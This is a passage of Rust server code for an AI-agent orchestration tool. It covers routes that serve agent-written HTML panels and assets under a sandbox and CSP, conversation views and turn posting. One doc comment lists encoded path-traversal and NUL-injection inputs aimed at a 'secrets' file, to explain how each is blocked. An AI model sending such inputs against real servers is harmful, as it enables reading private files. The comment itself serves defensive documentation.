9044        if let Some((talk, cfg, turn_guard)) = reclaimed {
9045            let talks = ui.talks.clone();
9046            let id = talk.id.clone();
9047            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9048        }
9049        Ok((StatusCode::ACCEPTED, Json(view)))
9050    })
9051    .await
9052}
9053
9054/// Expand an id or short id to exactly one question id.
9055fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
9056    if plain_record_id(id) && store.path_of(id).is_file() {
9057        return Ok(id.to_owned());
9058    }
9059    pick(
9060        store.list().into_iter().map(|q| q.id).collect(),
9061        id,
9062        "question",
9063    )
9064}
9065
9066/// `GET /api/questions/{id}/panel`.
9067///
9068/// The panel an agent wrote for this question, as `text/html` under
9069/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
9070/// A question without one is a 404 rather than an empty page: the client
9071/// preflights this route with `HEAD` and must be able to tell "no panel" from
9072/// "a panel that rendered blank", and a sandboxed frame is opaque to the
9073/// parent document so it cannot tell the difference by looking.
9074///
9075/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
9076/// sanitises or minifies it - a sanitiser is a list of things someone thought
9077/// of, and the sandbox plus the CSP is a list of things that are allowed, which
9078/// is the direction that stays safe when an agent writes markup nobody
9079/// predicted.
9080async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
9081    blocking(move || {
9082        let id = resolve_question(&ui.questions, &id)?;
9083        let Some(html) = ui.questions.panel_html(&id) else {
9084            return Err(ApiError::not_found(format!("question {id} has no panel")));
9085        };
9086        Ok(panel_response(
9087            "text/html; charset=utf-8",
9088            false,
9089            html.into_bytes(),
9090        ))
9091    })
9092    .await
9093}
9094
9095/// `GET /api/questions/{id}/asset/{name}`.
9096///
9097/// One file from the question's own panel directory, so a panel can show a
9098/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
9099/// having to allow anything off this machine.
9100///
9101/// This is the only route in the server where a client names a file, so it is
9102/// the only one with a traversal surface, and the name is checked by
9103/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
9104/// what is worth being explicit about, because the answer is not "all of it in
9105/// one place":
9106///
9107/// * `asset/../../secrets` never reaches this handler at all. axum matches on
9108///   the raw request path and `{name}` spans exactly one segment, so a real
9109///   slash makes the request too long for the route and the router answers 404.
9110/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
9111///   percent-decodes path parameters, so `name` arrives as `../secrets` and
9112///   `..\secrets` respectively, which look like plain filenames to the router.
9113///   The validator refuses them here - both for the literal `..` and because
9114///   `/` and `\` are not in the permitted character set - and answers 400.
9115/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
9116///   the platform's path API is not, and it is refused here for the same
9117///   reason: NUL is not a permitted character.
9118/// * [`Questions::panel_asset`] validates again on read, so the check is not
9119///   load-bearing in only one place. This route's own check exists so the
9120///   failure is a 400 that says which name was wrong, rather than a store error
9121///   the operator has to interpret.
9122async fn question_asset(
9123    State(ui): State<Arc<Ui>>,
9124    Path((id, name)): Path<(String, String)>,
9125) -> ApiResult<Response> {
9126    // Before any filesystem work and before any path is built: a name this
9127    // server will not serve should not become a `PathBuf` at all.
9128    if !crate::ask::valid_asset_name(&name) {
9129        return Err(ApiError::bad_request(format!(
9130            "`{name}` is not a usable asset name"
9131        )));
9132    }
9133    blocking(move || {
9134        let id = resolve_question(&ui.questions, &id)?;
9135        let asset = ui
9136            .questions
9137            .panel_asset(&id, &name)
9138            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
9139        let Some(bytes) = asset else {
9140            return Err(ApiError::not_found(format!(
9141                "question {id} has no asset `{name}`"
9142            )));
9143        };
9144        Ok(panel_response(
9145            asset_content_type(&name),
9146            is_svg(&name),
9147            bytes,
9148        ))
9149    })
9150    .await
9151}
9152
9153/// Content type for a panel asset, from a closed whitelist.
9154///
9155/// A whitelist with an `application/octet-stream` fallback rather than a
9156/// guess, because the one answer that must never come out of here is
9157/// `text/html`. An agent that writes `notes.html` into its panel directory and
9158/// links it would otherwise get its own markup rendered at the top level of the
9159/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
9160/// magi's origin - which is precisely the thing the panel design exists to
9161/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
9162///
9163/// `nosniff` accompanies this on every response, so a browser cannot decide it
9164/// knows better than the type we sent.
9165fn asset_content_type(name: &str) -> &'static str {
9166    match extension(name).as_deref() {
9167        Some("png") => "image/png",
9168        Some("jpg" | "jpeg") => "image/jpeg",
9169        Some("gif") => "image/gif",
9170        Some("webp") => "image/webp",
9171        Some("svg") => "image/svg+xml",
9172        Some("css") => "text/css; charset=utf-8",
9173        Some("txt") => "text/plain; charset=utf-8",
9174        _ => "application/octet-stream",
9175    }
9176}
9177
9178/// Is this an SVG, and therefore a file that must never be opened at the top
9179/// level?
9180fn is_svg(name: &str) -> bool {
9181    extension(name).as_deref() == Some("svg")
9182}
9183
9184/// Lowercased extension, or `None` for a name without one.
9185fn extension(name: &str) -> Option<String> {
9186    name.rsplit_once('.')
9187        .map(|(_, ext)| ext.to_ascii_lowercase())
9188}
9189
9190/// Every panel response, with the four headers that make it safe and, for an
9191/// SVG, a fifth.
9192///
9193/// One function rather than a header list per handler, because a panel route
9194/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
9195/// model gone, silently, on one of two routes. Adding a third panel route later
9196/// means calling this, and there is nowhere else to build a panel response.
9197///
9198/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
9199/// as an `<img src>` inside the panel that script cannot run - but the asset
9200/// URL is also a plain URL an operator can be talked into opening in a tab,
9201/// where it is a document on magi's own origin. `Content-Disposition:
9202/// attachment` makes the browser download it instead of rendering it, which
9203/// closes that door without taking away the ability to draw a diff. Raster
9204/// images have no such execution surface and are left inline, so tapping a
9205/// screenshot still shows it.
9206fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
9207    let mut res = (
9208        [
9209            (header::CONTENT_TYPE, content_type),
9210            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
9211            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
9212            (header::REFERRER_POLICY, "no-referrer"),
9213        ],
9214        body,
9215    )
9216        .into_response();
9217    if download {
9218        res.headers_mut().insert(
9219            header::CONTENT_DISPOSITION,
9220            HeaderValue::from_static("attachment"),
9221        );
9222    }
9223    res
9224}
9225
9226/// A talk as the phone reads it.
9227///
9228/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
9229/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
9230/// parses markdown itself - and the process-local `thinking` hint.
9231#[derive(Debug, Serialize)]
9232struct ChatApproval {
9233    question: String,
9234    target: crate::merge_decision::Target,
9235}
9236
9237#[derive(Debug, Serialize)]
9238struct TalkView {
9239    #[serde(flatten)]
9240    talk: Talk,
9241    turn_bodies_md: Vec<Vec<md::Node>>,
9242    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
9243    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
9244    pending_messages_md: Vec<Option<Vec<md::Node>>>,
9245    merge_approvals: Vec<ChatApproval>,
9246    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
9247    /// this server process.
9248    ///
9249    /// This is deliberately not durable: another server process cannot see
9250    /// it, and a restarted server must not claim an old turn is live. It is a
9251    /// progress hint rather than proof a reply landed; the transcript remains
9252    /// the source of truth for that.
9253    thinking: bool,
9254    /// Context-window usage, derived per request - see
9255    /// [`talk::context_usage`]. Carried on every talk response (list, detail
9256    /// and each mutation) so the phone needs no extra call or polling.
9257    context: talk::ContextUsage,
9258    /// `[talk] operator_name`, when configured; the Chat labels the
9259    /// operator's turns with it.
9260    operator_name: Option<String>,
9261    /// The active persona's display name; `None` for the default voice.
9262    persona_name: Option<String>,
9263    /// URL of the avatar for the conversation's persona (the default voice
9264    /// included). Server-built; a configured `icon` never reaches the client.
9265    persona_avatar: String,
9266    /// Operator avatar; display only and independent of repository config.
9267    operator_avatar: String,
9268    magi_avatar: String,
9269}
9270
9271impl TalkView {
9272    /// Reads the talk's repository config itself; a config that cannot be
9273    /// read leaves the window unknown but never fails the conversation.
9274    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
9275        let cfg = talk.config().ok();
9276        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
9277    }
9278
9279    /// As [`Self::new`], with the config already in hand (the list reads one
9280    /// per repository, not one per conversation).
9281    fn with_config(
9282        talk: Talk,
9283        thinking: bool,
9284        cfg: Option<&Config>,
9285        home: &FsPath,
9286        cache: &id_links::IndexCache,
9287    ) -> Self {
9288        let references = cache.for_talk(home, &talk);
9289        Self::with_references(talk, thinking, cfg, home, &references)
9290    }
9291
9292    fn with_references(
9293        mut talk: Talk,
9294        thinking: bool,
9295        cfg: Option<&Config>,
9296        home: &FsPath,
9297        references: &id_links::IdIndex,
9298    ) -> Self {
9299        // This owned value is the display DTO; never write it back to the talk store.
9300        let snapshot = talk.clone();
9301        for (index, turn) in talk.turns.iter_mut().enumerate() {
9302            let original = &snapshot.turns[index];
9303            if turn.messages.is_empty() {
9304                if let Some(display) = talk::notice_display(&snapshot, original, None) {
9305                    turn.messages.push(talk::Message {
9306                        sender: Some(talk::Sender::Magi),
9307                        accepted_at: None,
9308                        body: original.body.clone(),
9309                        display: Some(display),
9310                        recovery_event: None,
9311                        attachments: original.attachments.clone(),
9312                        reply: None,
9313                    });
9314                }
9315            } else {
9316                for (i, message) in turn.messages.iter_mut().enumerate() {
9317                    message.display =
9318                        talk::notice_display(&snapshot, original, original.messages.get(i));
9319                    if message.display.is_some() {
9320                        message.sender = Some(talk::Sender::Magi);
9321                    }
9322                }
9323            }
9324        }
9325        for message in &mut talk.pending_messages {
9326            if message.display.is_none()
9327                && (message.sender == Some(talk::Sender::Magi)
9328                    || snapshot
9329                        .completion_notices
9330                        .iter()
9331                        .any(|r| r.notice == message.body))
9332            {
9333                message.display = crate::prompt::legacy_notice_display(&message.body);
9334                if message.display.is_some() {
9335                    message.sender = Some(talk::Sender::Magi);
9336                }
9337            }
9338        }
9339        if talk.pending_messages.is_empty()
9340            && snapshot
9341                .completion_notices
9342                .iter()
9343                .any(|r| r.notice == talk.pending)
9344            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
9345        {
9346            talk.pending_messages.push(talk::Message {
9347                sender: Some(talk::Sender::Magi),
9348                accepted_at: None,
9349                display: Some(display),
9350                recovery_event: None,
9351                body: talk.pending.clone(),
9352                attachments: talk.pending_attachments.clone(),
9353                reply: None,
9354            });
9355        }
9356        let excerpts: Vec<Vec<Option<String>>> = talk
9357            .turns
9358            .iter()
9359            .map(|turn| {
9360                turn.messages
9361                    .iter()
9362                    .map(|m| {
9363                        m.display
9364                            .as_ref()
9365                            .map(|d| d.facts.chars().take(240).collect())
9366                    })
9367                    .collect()
9368            })
9369            .collect();
9370        for turn in &mut talk.turns {
9371            let provenance = talk::sender(turn, None);
9372            turn.sender = Some(provenance);
9373            for message in &mut turn.messages {
9374                message.sender = Some(message.sender.unwrap_or(provenance));
9375            }
9376        }
9377        // Old reply snapshots have only a role; recover provenance from their target.
9378        let senders: Vec<Vec<talk::Sender>> = talk
9379            .turns
9380            .iter()
9381            .map(|turn| {
9382                if turn.messages.is_empty() {
9383                    vec![talk::sender(turn, None)]
9384                } else {
9385                    turn.messages
9386                        .iter()
9387                        .map(|m| talk::sender(turn, Some(m)))
9388                        .collect()
9389                }
9390            })
9391            .collect();
9392        for reply in talk
9393            .turns
9394            .iter_mut()
9395            .flat_map(|t| t.messages.iter_mut())
9396            .chain(talk.pending_messages.iter_mut())
9397            .filter_map(|m| m.reply.as_mut())
9398        {
9399            if let Some(Some(excerpt)) = excerpts
9400                .get(reply.target.turn)
9401                .and_then(|ms| ms.get(reply.target.message))
9402            {
9403                reply.excerpt = excerpt.clone();
9404                reply.sender = Some(talk::Sender::Magi);
9405            }
9406            if reply.sender.is_none() {
9407                reply.sender = senders
9408                    .get(reply.target.turn)
9409                    .and_then(|messages| messages.get(reply.target.message))
9410                    .copied();
9411            }
9412        }
9413        let context = talk::context_usage(&talk, cfg);
9414        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
9415            .turns
9416            .iter()
9417            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
9418            .collect();
9419        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
9420            .turns
9421            .iter()
9422            .map(|turn| {
9423                if turn.messages.is_empty() {
9424                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
9425                } else {
9426                    turn.messages
9427                        .iter()
9428                        .map(|message| {
9429                            notice_markdown(
9430                                message.sender.unwrap_or(talk::Sender::Operator),
9431                                &message.body,
9432                                message.display.as_ref(),
9433                            )
9434                        })
9435                        .collect()
9436                }
9437            })
9438            .collect();
9439        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
9440            .pending_messages
9441            .iter()
9442            .map(|message| {
9443                notice_markdown(
9444                    message.sender.unwrap_or(talk::Sender::Operator),
9445                    &message.body,
9446                    message.display.as_ref(),
9447                )
9448            })
9449            .collect();
9450        for nodes in &mut turn_bodies_md {
9451            references.markdown(nodes);
9452        }
9453        for nodes in turn_messages_md
9454            .iter_mut()
9455            .flatten()
9456            .chain(pending_messages_md.iter_mut())
9457            .flatten()
9458        {
9459            references.markdown(nodes);
9460        }
9461        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
9462        let persona_name = persona::find(specs, &talk.persona)
9463            .filter(|p| !p.is_default())
9464            .map(|p| p.name);
9465        let mut avatar_persona = persona::find(specs, &talk.persona)
9466            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
9467        // A removed configured persona may still have an override and old talks.
9468        if avatar_persona.id != talk.persona
9469            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
9470        {
9471            avatar_persona.id.clone_from(&talk.persona);
9472            avatar_persona.icon = None;
9473        }
9474        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
9475        let approvals_store = ask::Questions::at(home.join("questions"));
9476        let merge_approvals = talk
9477            .notified
9478            .iter()
9479            .filter_map(|key| key.strip_prefix("question:"))
9480            .filter_map(|id| approvals_store.get(id).ok())
9481            .filter(|q| !crate::task_chat::source_retired(home, &q.id))
9482            .filter(|q| crate::task_chat::approval_offered(&talk, q))
9483            .filter_map(|q| {
9484                Some(ChatApproval {
9485                    question: q.id,
9486                    target: q.merge_target?,
9487                })
9488            })
9489            .collect();
9490        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
9491        Self {
9492            turn_bodies_md,
9493            turn_messages_md,
9494            pending_messages_md,
9495            merge_approvals,
9496            thinking,
9497            context,
9498            operator_name,
9499            persona_name,
9500            persona_avatar,
9501            magi_avatar: magi_icon_url(home),
9502            operator_avatar: operator_icon_url(home),
9503            talk,
9504        }
9505    }
9506}
9507
9508/// Parse only the user-facing representation of an explicitly identified MAGI send.
9509fn notice_markdown(
9510    sender: talk::Sender,
9511    body: &str,
9512    display: Option<&crate::prompt::NoticeDisplay>,
9513) -> Option<Vec<md::Node>> {
9514    if sender != talk::Sender::Magi {
9515        return None;
9516    }
9517    let text = if let Some(display) = display {
9518        display.facts.as_str()
9519    } else {
9520        // Unknown completion templates may contain internal directives. Never
9521        // promote their agent input to the Markdown display surface.
9522        if crate::prompt::is_completion_notice(body)
9523            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
9524        {
9525            return None;
9526        }
9527        body.strip_prefix("magi: ").unwrap_or(body)
9528    };
9529    Some(md::to_nodes(text, &md::ImageBase::None))
9530}
9531
9532/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
9533/// conversation has filed, so the phone can follow one from inside the
9534/// conversation that asked for it rather than hunting the Queue for a task id
9535/// it may not remember.
9536#[derive(Debug, Serialize)]
9537struct TalkDetailView {
9538    #[serde(flatten)]
9539    view: TalkView,
9540    tasks: Vec<TaskView>,
9541    task_progress: TalkTaskProgress,
9542    goal_link: Option<TalkGoalLink>,
9543    goal_link_for: Timestamp,
9544    /// The agents this talk's repository can switch to; empty when its
9545    /// configuration cannot be read, which must not fail the whole detail.
9546    roster: Vec<RosterEntry>,
9547    /// The personas the conversation can pick from. The built-ins are always
9548    /// listed, even when the repository's configuration cannot be read.
9549    personas: Vec<PersonaEntry>,
9550}
9551
9552/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
9553#[derive(Debug, Serialize)]
9554struct TalkTaskProgress {
9555    state: &'static str,
9556    total: usize,
9557    done: usize,
9558    counts: std::collections::BTreeMap<&'static str, usize>,
9559    unfinished_ids: Vec<String>,
9560}
9561
9562fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
9563    let mut counts = std::collections::BTreeMap::from([
9564        ("queued", 0),
9565        ("running", 0),
9566        ("done", 0),
9567        ("failed", 0),
9568        ("held", 0),
9569        ("blocked", 0),
9570        ("parked", 0),
9571    ]);
9572    let mut unfinished_ids = Vec::new();
9573    for task in tasks {
9574        *counts.entry(task.status.as_str()).or_default() += 1;
9575        if task.status != TaskStatus::Done {
9576            unfinished_ids.push(task.id.clone());
9577        }
9578    }
9579    TalkTaskProgress {
9580        state: if tasks.is_empty() {
9581            "none"
9582        } else if unfinished_ids.is_empty() {
9583            "complete"
9584        } else {
9585            "incomplete"
9586        },
9587        total: tasks.len(),
9588        done: tasks.len() - unfinished_ids.len(),
9589        counts,
9590        unfinished_ids,
9591    }
9592}
9593
9594/// Prefer a referenced task's current Run or Task, then an explicitly
9595/// referenced same-repository Run. Missing/deleted records leave the goal readable.
9596#[derive(Debug, Serialize)]
9597struct TalkGoalLink {
9598    goal: String,
9599    kind: &'static str,
9600    id: String,
9601}
9602
9603fn talk_goal_link(talk: &Talk, queue: &Queue, runs: &FsPath) -> Option<TalkGoalLink> {
9604    let goal = crate::chat_goal::Goal::selected(talk)?;
9605    let repo = goal.effective_repo(&talk.repo);
9606    let valid_run = |id: &str| {
9607        plain_record_id(id)
9608            && read_run(runs, id).is_ok_and(|state| {
9609                state.id == id
9610                    && crate::chat_goal::require_repo("run", id, &state.repo, repo).is_ok()
9611            })
9612    };
9613    for id in goal.tasks.iter().rev() {
9614        let Ok(task) = crate::chat_goal::task_record(queue, id, repo) else {
9615            continue;
9616        };
9617        // Repository reassignments retain historical runs. Only this task's
9618        // current execution can be presented as the goal's current Run.
9619        if let Some(run) = task.execution_runs().last()
9620            && valid_run(run)
9621        {
9622            return Some(TalkGoalLink {
9623                goal: goal.id.clone(),
9624                kind: "run",
9625                id: run.clone(),
9626            });
9627        }
9628        return Some(TalkGoalLink {
9629            goal: goal.id.clone(),
9630            kind: "task",
9631            id: task.id,
9632        });
9633    }
9634    for id in goal.runs.iter().rev() {
9635        if valid_run(id) {
9636            return Some(TalkGoalLink {
9637                goal: goal.id.clone(),
9638                kind: "run",
9639                id: id.clone(),
9640            });
9641        }
9642    }
9643    None
9644}
9645
9646/// One persona as the talk's persona selector shows it.
9647#[derive(Debug, Serialize)]
9648struct PersonaEntry {
9649    id: String,
9650    name: String,
9651    /// Avatar URL, see [`TalkView::persona_avatar`].
9652    avatar: String,
9653}
9654
9655/// One roster agent as the talk's agent selector shows it.
9656#[derive(Debug, Serialize)]
9657struct RosterEntry {
9658    id: String,
9659    kind: AgentKind,
9660    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
9661    runnable: bool,
9662}
9663
9664/// Bounded summaries; `/page` carries a cursor for older membership.
9665async fn talks_list(
9666    State(ui): State<Arc<Ui>>,
9667    Query(q): Query<ListQuery>,
9668    headers: header::HeaderMap,
9669) -> ApiResult<Json<Vec<TalkListView>>> {
9670    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9671        let limit = q.limit.unwrap_or(50).min(50);
9672        let ids = if let Some(ids) = q.ids {
9673            ids.split(',')
9674                .filter(|id| plain_record_id(id))
9675                .take(limit)
9676                .map(str::to_owned)
9677                .collect()
9678        } else {
9679            page_ids(&ui, true, PageQuery::default())?
9680                .0
9681                .into_iter()
9682                .take(limit.min(STORE_PAGE_SIZE))
9683                .collect()
9684        };
9685        Ok(Json(talk_rows(&ui, ids, &headers)))
9686    })
9687    .await
9688}
9689
9690/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
9691/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
9692/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
9693/// end still opens a talk against an older binary.
9694#[derive(Debug, Default, Deserialize)]
9695#[serde(default)]
9696struct NewTalk {
9697    agent: Option<String>,
9698    repo: Option<PathBuf>,
9699    /// Remembered choices from the browser. Soft: kept as raw JSON so a
9700    /// wrong type is dropped like a stale value instead of failing the request;
9701    /// each falls back to its default on its own (see [`talk::begin_with`]).
9702    preferred_agent: Option<serde_json::Value>,
9703    persona: Option<serde_json::Value>,
9704    implementers: Option<serde_json::Value>,
9705}
9706
9707/// `POST /api/talks` - open a conversation. Takes no agent turn: see
9708/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
9709async fn talk_post(
9710    State(ui): State<Arc<Ui>>,
9711    body: std::result::Result<Json<NewTalk>, JsonRejection>,
9712) -> ApiResult<impl IntoResponse> {
9713    // An absent body, or an empty one, is the normal way to open a talk - see
9714    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
9715    // rather than refused.
9716    let body = match body {
9717        Ok(Json(body)) => body,
9718        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
9719        Err(e) => return Err(ApiError::bad_request(e.body_text())),
9720    };
9721    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
9722    let cfg = config_for(&repo).await?;
9723    let view = blocking(move || {
9724        let preferred = talk::Preferred {
9725            agent: body
9726                .preferred_agent
9727                .as_ref()
9728                .and_then(|v| v.as_str())
9729                .map(str::to_owned),
9730            persona: body
9731                .persona
9732                .as_ref()
9733                .and_then(|v| v.as_str())
9734                .map(str::to_owned),
9735            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
9736        };
9737        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
9738        let thinking = ui.is_thinking(&talk.id);
9739        Ok(TalkView::new(talk, thinking, &ui))
9740    })
9741    .await?;
9742    Ok((StatusCode::CREATED, Json(view)))
9743}
9744
9745/// Transcript first: unrelated queue history and repository probes are deferred.
9746async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
9747    // Keep transcript reads independent of sections and the runtime blocking pool.
9748    bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
9749        let id = resolve_talk(&ui.talks, &id)?;
9750        let talk = ui.talks.get(&id)?;
9751        let thinking = ui.is_thinking_observed(&id);
9752        // The browser already resolves Markdown text/code references after
9753        // rendering. A cold reference/review index must not gate the transcript.
9754        Ok(Json(TalkView::with_references(
9755            talk,
9756            thinking,
9757            None,
9758            &ui.home,
9759            &id_links::IdIndex::default(),
9760        )))
9761    })
9762    .await
9763}
9764
9765async fn talk_sections(
9766    State(ui): State<Arc<Ui>>,
9767    Path(id): Path<String>,
9768) -> ApiResult<Json<serde_json::Value>> {
9769    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9770        let id = resolve_talk(&ui.talks, &id)?;
9771        let talk = ui.talks.get(&id)?;
9772        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9773        let task_progress = talk_task_progress(&tasks);
9774        let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9775        let tasks: Vec<_> = tasks
9776            .into_iter()
9777            .map(|task| {
9778                serde_json::json!({
9779                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
9780                })
9781            })
9782            .collect();
9783        let cfg = talk.config().ok();
9784        let roster: Vec<_> = cfg
9785            .as_ref()
9786            .map(|cfg| {
9787                cfg.agents
9788                    .iter()
9789                    .map(|a| RosterEntry {
9790                        id: a.id.clone(),
9791                        kind: a.kind,
9792                        runnable: agent::installed(a),
9793                    })
9794                    .collect()
9795            })
9796            .unwrap_or_default();
9797        let specs = cfg
9798            .as_ref()
9799            .map(|cfg| cfg.talk.personas.clone())
9800            .unwrap_or_default();
9801        let personas: Vec<_> = persona::catalog(&specs)
9802            .into_iter()
9803            .map(|p| PersonaEntry {
9804                avatar: avatar_url(&ui.home, &talk.id, &p),
9805                id: p.id,
9806                name: p.name,
9807            })
9808            .collect();
9809        let active_persona = persona::find(&specs, &talk.persona)
9810            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
9811        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
9812        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
9813        Ok(Json(serde_json::json!({
9814            "tasks": tasks, "task_progress": task_progress,
9815            "goal_link": goal_link, "goal_link_for": talk.updated_at,
9816            "roster": roster, "personas": personas,
9817            "context": talk::context_usage(&talk, cfg.as_ref()),
9818            "context_for": talk.updated_at,
9819            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
9820            "persona_name": persona_name,
9821            "persona_avatar": persona_avatar,
9822        })))
9823    })
9824    .await
9825}
9826
9827/// `GET /api/talks/{id}`.
9828async fn talk_detail(
9829    State(ui): State<Arc<Ui>>,
9830    Path(id): Path<String>,
9831) -> ApiResult<Json<TalkDetailView>> {
9832    blocking(move || {
9833        let id = resolve_talk(&ui.talks, &id)?;
9834        let talk = ui.talks.get(&id)?;
9835        let thinking = ui.is_thinking_observed(&talk.id);
9836        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9837        let task_progress = talk_task_progress(&tasks);
9838        let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9839        let goal_link_for = talk.updated_at;
9840        let tasks = tasks.into_iter().map(TaskView::from).collect();
9841        let cfg = talk.config().ok();
9842        let roster = cfg
9843            .as_ref()
9844            .map(|cfg| {
9845                cfg.agents
9846                    .iter()
9847                    .map(|a| RosterEntry {
9848                        id: a.id.clone(),
9849                        kind: a.kind,
9850                        runnable: agent::installed(a),
9851                    })
9852                    .collect()
9853            })
9854            .unwrap_or_default();
9855        let specs = cfg
9856            .as_ref()
9857            .map(|cfg| cfg.talk.personas.clone())
9858            .unwrap_or_default();
9859        let personas = persona::catalog(&specs)
9860            .into_iter()
9861            .map(|p| PersonaEntry {
9862                avatar: avatar_url(&ui.home, &talk.id, &p),
9863                id: p.id,
9864                name: p.name,
9865            })
9866            .collect();
9867        Ok(Json(TalkDetailView {
9868            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
9869            tasks,
9870            task_progress,
9871            goal_link,
9872            goal_link_for,
9873            roster,
9874            personas,
9875        }))
9876    })
9877    .await
9878}
9879
9880/// The body of `POST /api/talks/{id}/say`.
9881///
9882/// `attachments` names ids `POST /api/talks/{id}/attachments` already
9883/// returned - never bytes of its own - so a turn with no images just omits
9884/// the field, which is what an older front end still does.
9885#[derive(Debug, Default, Deserialize)]
9886#[serde(default, deny_unknown_fields)]
9887struct NewTalkTurn {
9888    reply_to: Option<talk::ReplyTarget>,
9889    text: String,
9890    attachments: Vec<String>,
9891}
9892
9893#[derive(Debug, Deserialize)]
9894#[serde(deny_unknown_fields)]
9895struct EditTalkPending {
9896    #[serde(default)]
9897    message: Option<usize>,
9898    text: String,
9899    expected_text: String,
9900    expected_attachments: Vec<String>,
9901}
9902
9903#[derive(Debug, Deserialize)]
9904#[serde(deny_unknown_fields)]
9905struct ClearTalkPending {
9906    expected_text: String,
9907    expected_attachments: Vec<String>,
9908}
9909
9910/// `POST /api/talks/{id}/say` - one turn of the conversation.
9911///
9912/// Not filesystem work, and therefore not routed through [`blocking`]: this
9913/// route spawns an agent CLI and a turn here can run for the whole of
9914/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
9915/// research turn is expected to run commands rather than answer from what it
9916/// already knows. Holding an HTTP connection open that long is not a thing
9917/// to ask a phone to do; the operator's message is recorded and answered for
9918/// immediately, and the reply lands in the background, discovered through
9919/// the change stream's `talks_rev` the same way every other update on this
9920/// surface is.
9921async fn talk_say(
9922    State(ui): State<Arc<Ui>>,
9923    Path(id): Path<String>,
9924    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9925) -> ApiResult<(StatusCode, Json<TalkView>)> {
9926    let admission = ui.begin_admission()?;
9927    admitted(admission, async move {
9928    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9929    if body.text.trim().is_empty() && body.attachments.is_empty() {
9930        return Err(ApiError::bad_request("say something"));
9931    }
9932
9933    let id = {
9934        let ui = Arc::clone(&ui);
9935        let asked = id.clone();
9936        blocking(move || resolve_talk(&ui.talks, &asked)).await?
9937    };
9938    // A closed Talk never accepts a new immediate or queued turn. Check this
9939    // before claiming a slot so its ordinary domain refusal is a 409, not an
9940    // incidental failure from the later record/queue write.
9941    {
9942        let ui = Arc::clone(&ui);
9943        let id = id.clone();
9944        blocking(move || {
9945            let talk = ui.talks.get(&id)?;
9946            if !talk.status.open() {
9947                return Err(ApiError::conflict(format!(
9948                    "talk {} is {} and takes no more turns",
9949                    talk.short(),
9950                    talk.status.as_str()
9951                )));
9952            }
9953            Ok(())
9954        })
9955        .await?;
9956    }
9957
9958    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
9959    // actually stores, before anything is written - an unknown id is a 4xx
9960    // that names it rather than a turn (or a queued draft) silently missing
9961    // an image.
9962    let attachments = {
9963        let ui = Arc::clone(&ui);
9964        let id = id.clone();
9965        let ids = body.attachments.clone();
9966        blocking(move || {
